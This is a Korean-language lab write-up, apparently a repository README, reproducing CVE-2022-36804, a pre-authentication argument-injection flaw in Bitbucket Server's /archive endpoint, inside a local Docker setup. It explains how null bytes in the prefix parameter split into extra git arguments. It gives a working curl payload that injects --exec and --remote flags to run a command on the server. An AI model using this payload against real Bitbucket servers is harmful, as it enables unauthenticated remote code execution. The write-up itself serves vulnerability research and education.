
Investigating CVE-2022-36804
Bitbucket이 사용자 입력을 적절히 위생 처리하지 않아 공격자가 Git 플래그를 주입하고 원격으로 코드를 실행할 수 있는 원격 코드 실행 취약점 재현
이 저장소는 Bitbucket Server의 인증 전 인수 주입 문제인 CVE-2022-36804 취약점을 재현한 방법을 문서화합니다. 목표는 Assetnote의 공개 글에서 설명한 기본 보안 문제를 시연하는 것이었습니다. 모든 테스트는 격리된 로컬 환경에서 수행되었습니다.
CVE-2022-36804는 Bitbucket이 널 바이트를 위생 처리하지 않고 사용자 입력을 git archive 서브프로세스에 직접 전달하기 때문에 발생합니다. Bitbucket은 NuProcess를 사용하여 git을 실행하므로 널 바이트가 보존되어 인수가 분할됩니다. 이로 인해 공격자는 명령에 추가 git 플래그를 주입할 수 있습니다. 취약한 버전(이 설정에서 사용된 7.21.0 등)에서는 인증 없이 원격 코드 실행으로 이어집니다.
이 인증 전 원격 코드 실행 취약점은 git archive 기능으로 저장소 아카이브를 생성하는 /archive 엔드포인트에서 발생합니다. Bitbucket은 널 바이트를 위생 처리하지 않고 prefix 매개변수를 git 서브프로세스에 직접 전달합니다. git은 C로 구현되었기 때문에 널 바이트가 문자열을 일찍 종료시킵니다. 따라서 널 바이트 이후의 모든 것은 별도의 명령줄 인수로 해석됩니다. 이를 통해 공격자는 명령에 임의의 git 플래그를 주입할 수 있습니다.
이것이 가능한 이유는 Bitbucket이 NuProcess를 사용하여 널 바이트를 제거하지 않고 보존하기 때문입니다. 결과적으로 Git은 사용자가 제공한 그대로의 원시 입력을 받습니다. git은 널 바이트를 문자열 종결자로 처리하므로 prefix 값이 git 서브프로세스에 전달될 때 여러 인수로 분할됩니다. 이를 통해 널 바이트 뒤에 추가 git 플래그를 몰래 넣을 수 있습니다. --exec 및 --remote와 같은 플래그와 결합하면 이 인수 주입은 취약한 Bitbucket Server 버전에서 직접 원격 코드 실행으로 이어집니다.
TEST/demo)환경 시작:
docker compose up -d
버전 확인:
cat /opt/atlassian/bitbucket/VERSION
이 CVE의 핵심은 prefix 매개변수의 널 바이트로 인해 Bitbucket이 git archive에 여러 인수를 전달한다는 것을 보여주는 것입니다.
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
pspy를 실행 상태로 둡니다.
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"
이것은 널 바이트가 인수 분할을 일으키는지 테스트합니다.
pspy에서 Bitbucket이 생성:
/usr/bin/git archive --format=zip --prefix=test canary/ --
여기서 test와 canary가 하나가 아닌 별도의 인수로 나타납니다. %00이 입력을 분할하고 Bitbucket은 이를 git에 독립적인 인수로 전달해야 합니다.
아래 이미지는 Bitbucket Docker 컨테이너 내에서 실행 중인 pspy가 /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666)를 포착하는 모습을 보여줍니다. 하나의 값인 test%00canary로 전송된 것이 두 개의 별도 인수로 전달됩니다. 널 바이트가 입력을 분할하여 git 명령에 추가 인수를 몰래 집어넣습니다.
널 바이트를 통해 --exec=touch /tmp/pwned 및 --remote=file:///...를 주입하면 서버가 임의의 명령을 실행합니다. git이 종료 코드 128로 종료하더라도 명령은 git이 오류를 내기 전에 실행되며 /tmp/pwned가 컨테이너 내에 생성됩니다.
페이로드:
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"
아래 이미지는 pspy가 전체 실행 체인을 포착하는 모습을 보여줍니다 - /usr/bin/git archive가 --exec 및 --remote 인수(PID=74412)로 실행되어 /bin/sh touch /tmp/pwned(PID=74413)를 생성합니다.

docker exec -it bitbucket ls -la /tmp/pwned 명령으로 파일이 생성되었음을 확인할 수 있었습니다.
아래 이미지에 표시되어 있습니다.

Johan - 스톡홀름, 스웨덴